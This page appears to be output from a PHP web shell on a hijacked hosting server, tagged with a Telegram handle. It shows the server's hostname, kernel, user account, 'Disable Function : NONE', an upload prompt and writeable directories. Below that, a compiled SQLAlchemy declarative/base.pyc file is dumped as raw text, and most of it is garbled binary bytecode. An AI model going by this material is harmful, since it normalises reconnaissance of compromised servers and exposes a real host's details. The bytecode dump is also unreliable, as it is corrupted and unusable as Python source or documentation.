https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib64/python2.7/site-packages/sqlalchemy/ext/declarative/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyc
�
���\c@s�dZddlZddlZddlmZddlmZddlmZddlmZdd	lm	Z	dd
l
mZddl
mZddl
m
Z
ddl
mZdd
lmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddlmZddl	mZea a!d�Z"d�Z#d�Z$e%d�Z&d�Z'd�Z(de)fd��YZ*de*fd ��YZ+d!�Z,d"�Z-d#�Z.d$e._/d%�Z0dS(&s(Internal implementation for declarative.i����N(tinstrumentationi(tclsregistryi(tevent(texc(tutil(tclass_mapper(tmapper(tsynonym(tQueryableAttribute(t_is_mapped_class(tInspectionAttr(tMapperProperty(tColumnProperty(tCompositeProperty(tColumn(tTable(t
expression(ttopologicalcCs@tj|�rtj|�St|�r8t|dt�SdSdS(Nt	configure(t_DeferredMapperConfigthas_clstconfig_for_clsR	RtFalsetNone(tcls((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_declared_mapping_info$s

cCs�|tkrdSt|ddt�r\xT|jD]"}t|�}|dk	r/|Sq/WdSn t|�}|dk	rx|S|SdS(Nt__abstract__tstrict(tobjectRt_get_immediate_cls_attrtTruet	__bases__t"_resolve_for_abstract_or_classicalt"_dive_for_classically_mapped_class(Rtsupt	classical((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR /scCsjt|d�rdStj|�}|dk	r2|Sx1|jD]"}t|�}|dk	r<|Sq<WdSdS(Nt_decl_class_registry(thasattrRRtmanager_of_classRR!(RtmanagerR"R((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR!Bsc	Cs�t|t�sdSx�|jD]}t|d�}|oHt|�dk	}||jkr||ks�|r{||jkntr|r|rt	||�SqWdSdS(s�return an attribute of the class that is either present directly
    on the class, e.g. not on a superclass, or is from a superclass but
    this superclass is a non-mapped mixin, that is, not a descendant of
    the declarative base and is also not classically mapped.

    This is used to detect attributes that indicate something about
    a mapped class independently from any mapped classes that it may
    inherit from.

    R$N(
t
issubclassRRt__mro__R%R!t__dict__RRtgetattr(RtattrnameRtbaset_is_declarative_inheritst_is_classicial_inherits((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRVscCs^tdkr.ddlmattjfant|ddt�rGdStj	|||�dS(Ni(t
declared_attrRR(
R0RtapiRt
classpropertytdeclarative_propsRRt
_MapperConfigt
setup_mapping(Rt	classnametdict_((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_as_declarativexscCsGt|t�r?t|dt�r;tjd||f�ntStSdS(Nt
_cascadings~@declared_attr.cascading is not supported on the %s attribute on class %s.  This attribute invokes for subclasses in any case.(t
isinstanceR3R+RRtwarnR(tobjtnameR((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_check_declared_props_nocascade�sR4cBs�eZed��Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d�Zd	�Zd
�Z
d�Zd�ZRS(
cCsMt|ddt�p!t|d�}|r3t}nt}||||�dS(Nt_sa_decl_prepare_nocascadeRt_sa_decl_prepare(RRR%RR4(Rtcls_R6R7t	defer_maptcfg_cls((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR5�s	cCs�||_t|�|_||_d|_tj�|_t	�|_
i|_|j�i|j_
|j�tj|j|j�|j�|j�|j�|j�|j�dS(N(RtdictR7R6Rtpersist_selectableRtOrderedDictt
propertiestsettdeclared_columnst
column_copiest_setup_declared_eventst_sa_declared_attr_regt_scan_attributesRt	add_classt_extract_mappable_attributest_extract_declared_columnst_setup_tablet_setup_inheritancet_early_mapping(tselfRAR6R7((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt__init__�s 				





cCs|j�dS(N(tmap(RT((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRS�scspt�jd�r6tjtd��fd��}nt�jd�rltjtd��fd��}ndS(Nt__declare_last__tafter_configuredcs�jj�dS(N(RRW((RT(sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRX�st__declare_first__tbefore_configuredcs�jj�dS(N(RRY((RT(sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRZ�s(RRRtlistens_forR(RTRXRZ((RTsE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRK�s$c
s�|j�|j}|j}d}d}}d}x_�jD]T}|�k	ort|�dk	ort|ddt�}|r�|�k	r�|j|�nx�t	|�j
�D]�\}	}
|	dkr�t|
|	��}|r�|s�|r��fd�}q�q�|	dkr?t|
|	��}|r�|s0|r��j}q�q�|	dkr�t|
|	��}|r�|sq|r��j
}t|tttd�f�s�tjd��n|�k	r�t}q�q�q�|rt|
t�r�tjd|j|	|�f�q�q�q�|�k	r�t|
t�r$q�q�t|
t�rEtjd	��q�t|
t�rut|
tj�}|r�|
jr�|	|kr�tjd
|	�f�n|
j|
��||	<||
<}
t�|	|
�nn|r�tjd�nt �|	�}
t|
t!�r-|
j"r-t|
j#t�r-|
j$}
n|
||	<||
<t|
ttf�r�|
j%dkr�|
j&|
_%q�q�|j'||	|
�q�q�Wq;W|r�|r�d}n||_(||_)||_*dS(NR?Rt__mapper_args__cs
t�j�S(N(RDR\((R(sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pytmapper_args_fn�st
__tablename__t__table_args__s3__table_args__ value must be a tuple, dict, or Nones�Regular (i.e. not __special__) attribute '%s.%s' uses @declared_attr, but owning class %s is mapped - not applying to subclass %s.s�Mapper properties (i.e. deferred,column_property(), relationship(), etc.) must be declared as @declared_attr callables on declarative mixin classes.sXAttribute '%s' on class %s cannot be processed due to @declared_attr.cascading; skippingsJUse of sqlalchemy.util.classproperty on declarative classes is deprecated.(+RR7RJRR)RRRt_produce_column_copiestvarstitemsR>R^R_R:ttupleRDttypeRt
ArgumentErrorR3RR;t__name__RRtInvalidRequestErrorR2R9t__get__tsetattrtwarn_deprecatedR+R
t_is_internal_proxytoriginal_propertyt
descriptortdoct__doc__t_warn_for_decl_attributest
table_argst	tablenameR](RTR7RJR]Rqtinherited_table_argsRrR-tclass_mappedR=R<t
check_decltoldclassproptret((RsE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRM�s�			
	"
	
			cCs0t|tj�r,tjd||f�ndS(Ns�Attribute '%s' on class %s appears to be a non-schema 'sqlalchemy.sql.column()' object; this won't be part of the declarative mapping(R:RtColumnClauseRR;(RTRtkeytc((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRp]scCs�|j}|j}|j}x�t|�j�D]�\}}t|t�r.t||�|k	rdq.q�|jrt	j
d��q�||kr�d|ko�|jp�||djkr�|j
�||<}|j|_t|||�|||<q�q.q.WdS(NsvColumns with foreign keys to other columns must be declared as @declared_attr callables on declarative mixin classes. t	__table__(RR7RJRaRbR:RR+tforeign_keysRRgR=Rztcopyt_creation_orderRi(RTR-RR7RJR=R<tcopy_((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR`fs"				c	Cs�|j}|j}|j}t|ddt�}x�t|�D]�}|d
krUq=n||}t|t�r�t|t�r�|j	r�t
jd|j�nt||�}nOt|t
�r�|j|k	r�|j|kr�t|j�}t|||�nt|t�rOt|�dkrOt|dttf�rOt
jd	|�q=n�t|ttf�s�|jd
�s=|j|�|j|||�|s�t|||�q�q=q=n|dkr�tjd��ntj||�}|||<q=WdS(NR?RR{R^R\s�Use of @declared_attr.cascading only applies to Declarative 'mixin' and 'abstract' classes.  Currently, this flag is ignored on mapped class %siis�Ignoring declarative-like tuple value of attribute '%s': possibly a copy-and-paste error with a comma accidentally placed at the end of the line?t__tmetadatasdAttribute name 'metadata' is reserved for the MetaData instance when using a declarative base class.(s	__table__s
__tablename__s__mapper_args__(RR7RGRRtlistR:R3R0R9RR;R+Rtclass_RyRRiRctlenRRt
startswithtpopRpRRgRt_deferred_relationship(RTRR7t	our_stufftlate_mappedtktvaluetprop((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRO�sN			

cs�|j��jd�fd��|j}tjt�}xt�j��D]�\}}t|t	t
f�r�x�|jD]g}t|t�rx|j
dkrxt||�t|t
�s�||jj|�n|j|�qxqxWqMt|t�rMt||�||jj|�|j|�||jkr?�|=q?qMqMWx[|j�D]M\}}t|�dkrPtjd|j|djt|��f�qPqPWdS(NRycs�|jS(N(R~(Ry(R�(sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt<lambda>�siszOn class %r, Column object %r named directly multiple times, only one will be used: %s. Consider using orm.synonym insteads, (RGtsortRItcollectionstdefaultdictRHR�RbR:RR
tcolumnsRttableRt_undefer_column_nameR=taddRyR�RR;R6tjointsorted(RTRItname_to_prop_keyRyRztcolR=tkeys((R�sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRP�s.		


cCs�|j}|j}|j}|j}|j}t|dd��}|_d}t|d�rstj	|j
�}nt}d|kr\|dk	r�d
i}}	|rt|t
�r�|}	qt|t�rt|dt
�r�|dd!|d}}	q|}qn|jd�}
|
r't|	d<n|||jt|�t|�|	�|_}q�nN|j}|r�x<|D]1}|jj|�srtjd	|j��qrqrWn||_dS(NRycSs|jS(N(R~(Rz((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR��st
__table_cls__R{i����it__autoload__tautoloads8Can't add additional column %r when specifying __table__((RRrRqR7RIR�RR%Rtunbound_method_to_callableR�RR:RDRctgetRR�R{Rztcontains_columnRReRytlocal_table(RTRRrRqR7RIR�t	table_clstargsttable_kwR�Rz((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRQ�sJ					
	
	
c
	Cs2|j}|j}|j}|j}g}xg|jD]\}t|�}|dkrXq4nt|�dk	r4t|ddt	�r4|j
|�q4q4W|r�t|�dkr�tj
d||f��n|d|_n	d|_|dkr"|jdkr"t|d�r"tj
d|��n|jr.t|j�}|j}|j}	|dkr.|rptjd��nx�|D]�}|j|jkr�|j|j|kr�qwntjd	|||j|jf��n|jr�tjd
��n|j|�|	dk	rw|	|k	rw|	j|�qwqwWq.ndS(NR?Ris&Class %s has multiple mapped bases: %rit__no_table__swClass %r does not have a __table__ or __tablename__ specified and does not inherit from an existing table-mapped class.s?Can't place __table_args__ on an inherited class with no table.s;Column '%s' on class %s conflicts with existing column '%s'sDCan't place primary key columns on an inherited class with no table.(R�RRqRIRR RRRRtappendR�RRgtinheritsREReR=Rztprimary_keyt
append_columnt_refresh_for_new_column(
RTR�RRqRIR�Rztinherited_mappertinherited_tabletinherited_persist_selectable((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRR!s`					
			
 	
cCs�|j}|jr!|j�}ni}x@dD]8}||kr.||}|jj||�||<q.q.Wd|ks�td��|jr�|j|d<n|jr�|jdt�r�t|j�}|j}d|krRt	g|j
D]}||jkr�|j^q��j
|jpd	�|d<}|jg|jD]}|j^q9�nx�t|j��D]i\}}	t|	tj�s�qen||jkre|j|}
t|
t�r�|	g|
j||<q�qeqeWn|j�}||d<||_dS(
Ntversion_id_coltpolymorphic_onR�s=Can't specify 'inherits' explicitly with declarative mappingstconcretetexclude_propertiesRG(R�R�((RGR]RJR�tAssertionErrorR�RRR�RHRzt_columntopropertyRytunionR�tdifference_updateRIR�RbR:Rt
ColumnElementt_propsRR�R}tmapper_args(RTRGR�R�tvR�R�RzR�R�tptresult_mapper_args((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_prepare_mapper_argumentslsB		

 			
!#	
!
cCsl|j�t|jd�r4tj|jj�}nt}||j|j|j�|j_	}|j`
|S(Nt__mapper_cls__(R�R%RRR�R�RR�R�t
__mapper__RL(RTt
mapper_clstmp_((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRV�s
"	(Rft
__module__tclassmethodR5RURSRKRMRpR`RORPRQRRR�RV(((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR4�s	 		
	�				F	'	3	K	<RcBs�eZej�Zd�Zed��Zejd��Ze	d��Z
e	d��Ze	d��Ze	d��Z
e	ed��Zd�ZRS(	cCsdS(N((RT((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRS�scCs
|j�S(N(t_cls(RT((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�scCs,tj||j�|_||j|j<dS(N(tweakreftreft_remove_config_clsR�t_configs(RTR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�scCs|jj|d�dS(N(R�R�R(RR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR��scCs%t|t�o$tj|�|jkS(N(R:RdR�R�R�(RR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�scCsBt|d�r|j�ntj|ddtj|���dS(Nt_sa_raise_deferred_configtmsgsOClass %s has a deferred mapping on it.  It is not yet usable as a mapped class.(R%R�torm_exctUnmappedClassErrort_safe_cls_name(RR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pytraise_unmapped_for_cls�s
cCs|jtj|�S(N(R�R�R�(RR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�scs�gg|jj�D]}||jf^qD]-\}}|dk	r,t||�r,|^q,}|si|Std�|D���g}x1�D])�|j��fd��jD��q�Wtt	j
||��S(Ncss|]}|j|fVqdS(N(R(t.0tm((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pys	<genexpr>�sc3s/|]%}|�kr�|��fVqdS(N((R�tbase_cls(tall_m_by_clstm_cls(sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pys	<genexpr>�s(R�tvaluesRRR(RDtextendRR�RR�(RR�R�R�RAtclasses_for_basettuples((R�R�sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR��s5'
cCs)|jj|jd�tt|�j�S(N(R�R�R�RtsuperRRV(RT((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyRV�s(RfR�RRFR�RStpropertyRtsetterR�R�RR�RRR�RV(((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�s	cCs�d|jkrkt|t�rQt||�|jj|�|jj||�q~t|t�r�xO|j	D]D}t|t�rj|j
dkrjt||�|jj|�qjqjW|jj||�q~t|t�r�|jj|t
j||��q~t|t�rH|j|krHt|j�}|jj|t
j||��q~tj|||�|jj�ntj|||�dS(s�add an attribute to an existing declarative class.

    This runs through the logic to determine MapperProperty,
    adds it to the Mapper, adds a column to the mapped Table, etc.

    R�N(R*R:RR�R{R�R�tadd_propertyRR�R�RRRR�RRyRRdt__setattr__t_expire_memoizations(RRyR�R�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_add_attribute�s*

		cCs�d|jkr�||jkr�|jjr�|j|}t|ttttf�rbtd��q�t	j
||�|jj�nt	j
||�dS(NR�s<Can't un-map individual mapped attributes on a mapped class.(R*R�t_dispose_calledR:RRRRtNotImplementedErrorRdt__delattr__R�(RRyR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_del_attributes

cKs`t|�}xM|D]E}t||�sDtd||jf��nt||||�qWdS(s=A simple constructor that allows initialization from kwargs.

    Sets attributes on the constructed instance using the names and
    values in ``kwargs``.

    Only keys that are present as
    attributes of the instance's class are allowed. These could be,
    for example, any mapped columns or relationships.
    s(%r is an invalid keyword argument for %sN(RdR%t	TypeErrorRfRi(RTtkwargsRAR�((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt_declarative_constructor4s

RUcCs:|jdkr||_n|jdkr6||_ndS(N(RyRR=(Rytcolumn((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyR�Js(1RoR�R�tsqlalchemy.ormRtRRRRtormRR�RRtorm.attributesRtorm.baseR	R
torm.interfacesRtorm.propertiesRR
tschemaRRtsqlRRRR0R3RR R!RRR8R>RR4RR�R�R�RfR�(((sE/usr/lib64/python2.7/site-packages/sqlalchemy/ext/declarative/base.pyt<module>sJ
			"	
	��'B	%			

https://t.me/AnonymousX5 - 2025